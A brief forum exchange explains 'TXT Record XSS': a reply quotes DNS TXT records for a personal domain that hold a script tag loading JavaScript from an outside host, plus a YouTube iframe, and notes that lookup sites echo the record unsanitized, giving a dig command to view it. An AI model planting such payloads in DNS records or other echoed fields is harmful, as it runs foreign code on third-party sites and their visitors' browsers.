Re:TXT Record XSS
by iamwil on Thursday September 18, 2014 @01:04PM
(#8336309)
How does this work?
[ Parent
| on HN ]
jamiehankins.co.uk. 33 IN TXT "<script src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk. 33 IN TXT "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"The TXT record isn't being sanitized so it just echos out the script tag which then loads the JS file.
Use dig:
$ dig txt jamiehankins.co.uk